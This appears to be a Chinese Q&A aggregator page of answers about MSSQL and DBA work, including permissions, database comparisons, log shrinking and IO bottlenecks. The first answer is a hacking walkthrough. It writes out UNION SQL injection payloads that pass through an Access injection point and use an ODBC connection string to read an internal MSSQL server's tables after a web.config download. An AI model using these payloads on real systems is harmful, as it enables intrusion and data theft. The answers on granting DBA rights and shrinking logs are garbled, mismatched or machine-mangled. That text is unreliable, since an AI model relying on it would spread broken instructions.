当前位置:首页 » 编程语言 » mssqldba
扩展阅读
webinf下怎么引入js 2023-08-31 21:54:13
堡垒机怎么打开web 2023-08-31 21:54:11

mssqldba

发布时间: 2022-05-03 05:36:33

① 黑客如何通过Access来获取MSsql数据

首先说明一点,这个方法很早就有了,不过用时大概在脑袋里沉寂太久,已经处于忘却状态。感谢Trace提供资料。经常会遇到任意文件下载漏洞,一般处理的方法是把数据库连接文件下载回来,然后远程连接上。
首先说明一点,这个方法很早就有了,不过用时大概在脑袋里沉寂太久,已经处于忘却状态。感谢Trace提供资料。
经常会遇到任意文件下载漏洞,一般处理的方法是把数据库连接文件下载回来,然后远程连接上去。最理想的状态莫过于MSSQL和MYSQL,尤其是在数据库和WEB不分离的情况下,备分SHELL,导出SHELL,可以用的方法很多。
不过要是数据库和WEB分离,而且数据库在内网不可上网,或者有防火墙等等 其他手段使得我们无法连上远程数据库时,不妨假设的再艰难一些,甚至无法找到一个mssql注射点时,很多情况下通常会束手无策。
这里以 MSSQL为例子,很凑巧找到一个任意文件下载漏洞,直接下了WEB.CONFIG回来看,发现数据库在内网,找了半天没找到注射点,稍微旁注一下,有一个站,可惜是ACCESS数据库。猜不到表和后台。不过目标站的后台是知道的,然后准备从这个access注射点读出目标站管理员帐户。直观一些,下面直 接给出我本地测试结果:
弄的简单一点,就3个字段,ID,XM,XB,ID数字型,后面2个字符型。
假设存在漏洞的文件中,执行SQL语句 select * from test whrere id = 1
这里有3个字段,我们用UNION联合查询给他匹配一下就是(黑盒操作时用order by 或者穷举来确定字段个数)
SELECT * FROM test where id=999999 union Select top 1 1,2,name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].ku
这里的master库中我建立了一个名为KU的表,上面这个查询语句中,由于id=999999不存在,在联合查询的作用下,web上原本显示access数据库内容的位置显示出了我们构造的UNION查询结果,name字段处于一个字符型的显示位置。
ku这个表里的name字段内容就会被显示在web上相应的位置,不过这个显然不是我们想要的,我们要的是整个表的结构和内容,以master为例子,这里是模拟的结果,事先我已经知道master的结构,待会方便和结果比对校验是否有错。
SELECT * FROM test where id=999999 union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables
这样master库的第一个表名就出来了。
获得后面的表名也很简单。
SELECT * FROM test where id=999999 union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables where table_name not in (select top 1 table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=****;DataBase=master].information_schema.tables
以次类以常规方法推取得字段名和字段内容,代码烦琐自行研究下。

② sqlserver2012怎么查看否具有dba的权限或者系统管理的权限

查看自己是否具有SQL Server超级用户权限:
select is_srvrolemember('sysadmin')

如果返回值为 1,则有;0,没有。

③ 数据库MSSQL、MySQL、SQL Server和oracle的优缺点及区别

区别
Sql 有个标准, 就是 Ansi Sql . 有 sql88, sql92 标准。 如果要学正宗的 SQl 要去看 Ansi Sql .
oracle 和 Sql server 大体按照找个 Sql 标准来的,但是又有了不少扩充,自己定义了不少的东西。
主要的区别就是它们各自扩充的东西是不同的。 所以 oracle 的 sql 称为 pl Sql ,Sql server 的 Sql 称为 T-sql. 不过基本的语法和定义是相同的。

④ DBA(MSSQL)

还不如你来我的群,我可以考虑给你个管理员!
QQ群:70545677

⑤ 成为优秀DBA的学习之路是怎样的

作为程序开发者,近些年一直在和数据库打交道,从FOXBASE到ACCESS;从PARODAX到SYBASE;再到现在SQLSERVER 和ORACLE。

拿ORACLE数据库来说,从最早接触的ORACLE7,到广泛应用的ORACLE8.0.5,可数据库技术发展迅猛。到ORACLE8i就开始变了,再从ORACLE9i到现在是ORACLE10g;数据库应用变得越来越复杂,使得ORACLE数据库管理员DBA成长学习之路显得更加艰辛。。。
[ORACLE数据库技术应用---通向DBA之路]开篇-----ORACLE数据库简介

英文ORACLE意思是‘神誉的’;中文译名为‘甲骨文’,名称十分响亮,产品质量自是当仁不让;

ORACLE 是以高级结构化查询语言(SQL)为基础的大型关系数据库,通俗地
讲它是用方便逻辑管理的语言操纵大量有规律数据的集合。是目前最流行的客
户/服务器(CLIENT/SERVER)体系结构的数据库之一。

特点
1、ORACLE7.X以来引入了共享SQL和多线索服务器体系结构。这减少了ORACLE
的资源占用,并增强了ORACLE的能力,使之在低档软硬件平台上用较少的资源
就可以支持更多的用户,而在高档平台上可以支持成百上千个用户。

2、提供了基于角色(ROLE)分工的安全保密管理。在数据库管理功能、完整性
检查、安全性、一致性方面都有良好的表现。

3、支持大量多媒体数据,如二进制图形、声音、动画以及多维数据结构等。

4、提供了与第三代高级语言的接口软件PRO*系列,能在C,C++等主语言中嵌入
SQL语句及过程化(PL/SQL)语句,对数据库中的数据进行操纵。加上它有许多优
秀的前台开发工具如 POWER BUILD、SQL*FORMS、C++ BUILDER | DEPHI等,可以快速开
发生成基于客户端PC 平台的应用程序,并具有良好的移植性。

5、提供了新的分布式数据库能力。可通过网络较方便地读写远端数据库里的数
据,并有对称复制的技术。

存储结构--- 物理结构与逻辑结构
orACLE数据库在物理上是存储于硬盘的各种文件。它是活动的,可扩充的,随着
数据的添加和应用程序的增大而变化。

ORACLE数据库在逻辑上是由许多表空间构成。主要分为系统表空间和非系统
表空间。非系统表空间内存储着各项应用的数据、索引、程序等相关信息。我们
准备上马一个较大的ORACLE应用系统时,应该创建它所独占的表空间,同时定义
物理文件的存放路径和所占硬盘的大小。

分布式数据库管理

物理上存放于网络的多个ORACLE数据库,逻辑上可以看成一个单个的大数据库。
用户可以通过网络对异地数据库中的数据同时进行存取,而服务器之间的协同处
理对于工作站用户及应用程序而言是完全透明的:开发人员无需关心网络的连接
细节、无需关心数据在网络接点中的具体分布情况、也无需关心服务器之间的协
调工作过程。

由网络相连的两个ORACLE数据库之间通过数据库链接(DB-LINKS)建立访问机制,
相当于一方以另一方的某用户远程登录所做的操作。但ORACLE采用的一些高级管理
方法,如同义词(SYNONME)等使我们觉察不到这个过程,似乎远端的数据就在本地。
数据库复制技术包括:实时复制、定时复制、储存转发复制。对复制的力度而言,
有整个数据库表的复制,表中部分行的复制。在复制的过程中,有自动冲突检测和
解决的手段。

⑥ oracle,mysql,mssql哪个更适合初学者

哈哈 你要是只学习SQL 编程的话,哪一个都可以,不过我建议oracle因为他较接近于普遍用法和SQL本质。 补充一句:什么重量不重量,直接学重量级的就学不动了?学习跟重量级毫无关系。
我一开始接触SQL然后直接搞几十亿级的teradata(谁说oracle最重量级?跟架构集群服务器软硬配置有关),也没感觉有啥难学(也学我还没学到深处不知道深浅?),然后搞oracle现在又搞mysql,当然我时间有限,只学习的开发之术,没学维护备份之类的。对开发来讲,思想最重要,跟那个数据库无关,当然对架构和调优来讲,你就得深入去研究下某个数据库的特殊强弱点了。麻雀虽小,五脏俱全,要是有人觉得学mysql简单,其实错了他啥都不比其他数据库少多少。而且为啥说mysql轻量级?我现在操作的mysql也是几千万级的,使用各种分区和调优 甚至加上服务器调优技术,照样维持业务运转,当然要是纯粹数据关联处理分析等来比较的话,确实可能比‘同硬件配置’的oracle差,但也不一定,因为还掺杂着架构和软硬配置的问题。
话多没用,要成某一个数据库的DBA级别都很难,mysql这种开源的要做一个调优高手更难,要求懂得技术更多。开源是个未来趋势,我现在也喜欢mysql。
〉〉------千源老兄说的不错,说到具体使用深处,性能也好,兼容性,消耗资源之类的也好,需要衡量的软硬因素很多,却是说个几天都说不完。我猜老兄应该是对事务性数据库较多。我是做数据仓库bi领域的,有机会多多探讨。淘宝什么架构没机会了解,遗憾!一般大型互联网都应该用开源较多,Postgresql等,在极其海量数据或者高并发下,一旦都达到性能极限,开源数据库跟商业数据库同配置下没啥两样(个人浅见嘿嘿)。
BTW,Teradata这个mpp架构的数据库是用来专做数据仓库的,对于事务型支持较差,但对数据仓库领域的海量数据多维查询分析,无论性能和其产品业内我个人认为无与伦比,即使oracle后来出的n代mpp架构同层次都没法比较。

⑦ 工作中会使用到mssql数据库的哪些知识程序员会经常用到哪一些,DBA又会用到哪一些

程序员:创建/修改 数据库、数据表、存储过程、视图、索引、function、触发器等,编写和优化 各种SQL语句,存储过程

DBA:创建/修改 数据库、数据表、存储过程、视图、索引、function、触发器等,监控各种SQL和储存过程性能并给出修改建议,数据库全量/增量备份,文件组创建与维护,数据库安全监控,服务器集群的维护和监控,只读和只写服务器之间的订阅和推送服务维护,数据库以及服务器集群故障恢复,数据库使用规范的发布、维护、监控!

⑧ sqlserver如何授予用户DBA 权限

首先,使用用户DBA权限

创建临时表空间bbsp_temp
临时文件'D:\ ORADATA \ a_temp.dbf“ - 创建一个临时表空间
大小为100M
AUTOEXTEND在
中国
创建表空间bbsp_space - 创建表空间
记录
数据文件'D:\ ORADATA \ a_space.dbf“
尺寸660' - 大小200M
AUTOEXTEND上 - 自动增长

中国创造确定BBSP用户BBSP - 使用相应的表空间
默认表空间bbsp_space 临时表空间bbsp_temp;
中国
授予连接,资源,DBA可以BBSP; - 金连,DBA权限的用户

⑨ DBA MSSQL日志大小

收缩MSSQL数据库:清空志DUMP TRANSACTION 库名 WITH NO_LOG 收缩MSSQL数据库二:截断事务志:BACKUP LOG 数据库名 WITH NO_LOG收缩MSSQL数据库三:收缩数据库文件(压缩,数据库文件减企业管理器--右键要压缩数据库--所任务--收缩数据库--收缩文件--选择志文件--收缩式选择收缩至XXM,给允许收缩M数,直接输入数,确定--选择数据文件--收缩式选择收缩至XXM,给允许收缩M数,直接输入数,确定用SQL语句完--收缩数据库DBCC SHRINKDATABASE(客户资料)--收缩指定数据文件,1文件号,通语句查询:select * from sysfilesDBCC SHRINKFILE(1)收缩MSSQL数据库四:化缩志文件(sql 7.0,步能查询析器进行)a.离数据库:企业管理器--服务器--数据库--右键--离数据库b.我电脑删除LOG文件c.附加数据库:企业管理器--服务器--数据库--右键--附加数据库新LOG500K或用代码:面示例离 pubs pubs 文件附加前服务器a.离E X E C sp_detach_db @dbname = 'pubs'b.删除志文件c.再附加E X E C sp_attach_single_file_db @dbname = 'pubs',@physname = 'c:\Program Files\Microsoft SQL Server\MSSQL\Data\pubs.mdf'收缩MSSQL数据库五:能自收缩,做设置:企业管理器--服务器--右键数据库--属性--选项--选择"自收缩"--SQL语句设置式:E X E C sp_dboption '数据库名', 'autoshrink', 'TRUE'6.想让志增太企业管理器--服务器--右键数据库--属性--事务志--文件增限制xM(x允许数据文件)--SQL语句设置式:alter database 数据库名 modify file(name=逻辑文件名,maxsize=20)收缩MSSQL数据库特别注意:请按步骤进行,未进行前面步骤,请要做面步骤否则能损坏数据库.般建议做第4,6两步第4步安全,能损坏数据库或丢失数据第6步志达限,则数据库处理失败,清理志才能恢复.另外提供种更简单本屡试爽建议家使用收缩MSSQL数据库更简单:1右建数据库属性窗口--故障原模型--设简单2右建数据库所任务--收缩数据库3右建数据库属性窗口--故障原模型--设容量志记录何让收缩MSSQL数据库简单介绍卑锬憬舛寥患指慈砑
这些属性对数据库有什么影响?

⑩ 如何判断MSSQL数据库磁盘出现了瓶颈

具体问题具体分析,举例来说明为什么磁盘IO成瓶颈数据库的性能急速下降了。

为什么当磁盘IO成瓶颈之后, 数据库的性能不是达到饱和的平衡状态,而是急剧下降。为什么数据库的性能有非常明显的分界点,原因是什么?

相信大部分做数据库运维的朋友,都遇到这种情况。 数据库在前一天性能表现的相当稳定,数据库的响应时间也很正常,但就在今天,在业务人员反馈业务流量没有任何上升的情况下,数据库的变得不稳定了,有时候一个最简单的insert操作, 需要几十秒,但99%的insert却又可以在几毫秒完成,这又是为什么了?

dba此时心中有无限的疑惑,到底是什么原因呢? 磁盘IO性能变差了?还是业务运维人员反馈的流量压根就不对? 还是数据库内部出问题?昨天不是还好好的吗?

当数据库出现响应时间不稳定的时候,我们在操作系统上会看到磁盘的利用率会比较高,如果观察仔细一点,还可以看到,存在一些读的IO. 数据库服务器如果存在大量的写IO,性能一般都是正常跟稳定的,但只要存在少量的读IO,则性能开始出现抖动,存在大量的读IO时(排除配备非常高速磁盘的机器),对于在线交易的数据库系统来说,大概性能就雪崩了。为什么操作系统上看到的磁盘读IO跟写IO所带来的性能差距这么大呢?

如果亲之前没有注意到上述的现象,亲对上述的结论也是怀疑。但请看下面的分解。

在写这个文章之前,作者阅读了大量跟的IO相关的代码,如异步IO线程的相关的,innodb_buffer池相关的,以及跟读数据块最相关的核心函数buf_page_get_gen函数以及其调用的相关子函数。为了将文章写得通俗点,看起来不那么累,因此不再一行一行的将代码解析写出来。

咱们先来提问题。buf_page_get_gen函数的作用是从Buffer bool里面读数据页,可能存在以下几种情况。

提问. 数据页不在buffer bool 里面该怎么办?

回答:去读文件,将文件中的数据页加载到buffer pool里面。下面是函数buffer_read_page的函数,作用是将物理数据页加载到buffer pool, 图片中显示

buffer_read_page函数栈的顶层是pread64(),调用了操作系统的读函数。


通过解析buf_wait_for_read函数的下层函数,我们知道其实通过首先自旋加锁pin的方式,超过设定的自旋次数之后,进入等待,等待IO完成被唤醒。这样节省不停自旋pin时消耗的cpu,但需要付出被唤起时的开销。

再继续扩展问题: 如果会话线程A 经过物理IO将数据页1001读入buffer之后,他需要修改这个页,而在会话线程A之后的其他的同样需要访问数据页1001的会话线程,即使在数据页1001被入读buffer pool之后,将仍然处于等待中。因为在数据页上读取或者更新的时候,同样需要上锁,这样才能保证数据页并发读取/更新的一致性。

由此可见,当一个高并发的系统,出现了热点数据页需要从磁盘上加载到buffer pool中时,造成的延迟,是难以想象的。因此排在等待热点页队列最后的会话线程最后才得到需要的页,响应时间也就越长,这就是造成了一个简单的sql需要执行几十秒的原因。

再回头来看上面的问题,mysql数据库出现性能下降时,可以看到操作系统有读IO。 原因是,在数据库对数据页的更改,是在内存中的,然后通过检查点线程进行异步写盘,这个异步的写操作是不堵塞执行sql的会话线程的。所以,即使看到操作系统上有大量的写IO,数据库的性能也是很平稳的。但当用户线程需要查找的数据页不在buffer pool中时,则会从磁盘上读取,在一个热点数据页不是非常多的情况下,我们设置足够大的innodb_buffer_pool的size, 基本可以缓存所有的数据页,因此一般都不会出现缺页的情况,也就是在操作系统上基本看不到读的IO。 当出现读的IO时,原因时在执行buf_read_page_low函数,从磁盘上读取数据页到buffer pool, 则数据库的性能则开始下降,当出现大量的读IO,数据库的性能会非常差。